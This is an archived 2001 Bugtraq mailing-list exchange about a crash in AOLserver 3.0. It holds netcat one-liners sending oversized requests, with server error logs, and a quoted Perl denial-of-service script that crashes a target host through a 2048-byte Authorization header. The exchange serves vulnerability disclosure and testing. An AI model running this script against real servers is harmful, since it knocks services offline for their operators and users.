Bugtraq mailing list archives
Re: AOLserver 3.0 vulnerability
From: KF <dotslash () snosoft com>
Date: Wed, 22 Aug 2001 22:02:55 -0400
Today I downloaded aolserver-3.0.tar.gz ... here are my test results. echo "GET /`perl -e 'print "A" x 2348'`" HTTP/1.0\r\n\ r\n" | nc localhost 8000 [22/Aug/2001:21:57:00][12425.5124][-conn2-] Error: nsd.fastpath: stat(/tmp/aolserver/servers/server1/pages/ HTTP/1.0\nAuthorization: Basic AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...) failed: File name too long echo "GET /"`perl -e 'print "A" x 2348'`" HTTP/1.0\r\n \r\n" | nc localhost 8000 [22/Aug/2001:22:00:06][12425.6148][-conn3-] Error: nsd.fastpath: stat(/tmp/aolserver/servers/server1/pages/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...) failed: File name too long -KF Nate Haggard wrote:
Aolserver 3.0 will crash when it is given a long authorization string. It is also possible this vulnerability will allow a hacker to execute arbitrary code through a buffer overflow. I have not verified a buffer overflow exists. Aolserver 3.4 and 3.3.1 are not vulnerable to this attack. Here is a sample exploit: ------------------------------------------ #!/usr/bin/perl use IO::Socket; unless (@ARGV == 1) { die "usage: $0 host ..." } $host = shift(@ARGV); $remote = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "http(80)", ); unless ($remote) { die "cannot connect to http daemon on $host" } $junk = "X" x 2048; $killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n"; $remote->autoflush(1); print $remote $killme; close $remote; -------------------- Nate Haggard SecurityLogics.com
Current thread:
- AOLserver 3.0 vulnerability Nate Haggard (Aug 22)
- Re: AOLserver 3.0 vulnerability KF (Aug 23)
- AOLserver 3.0 vulnerability Bob Rogers (Aug 23)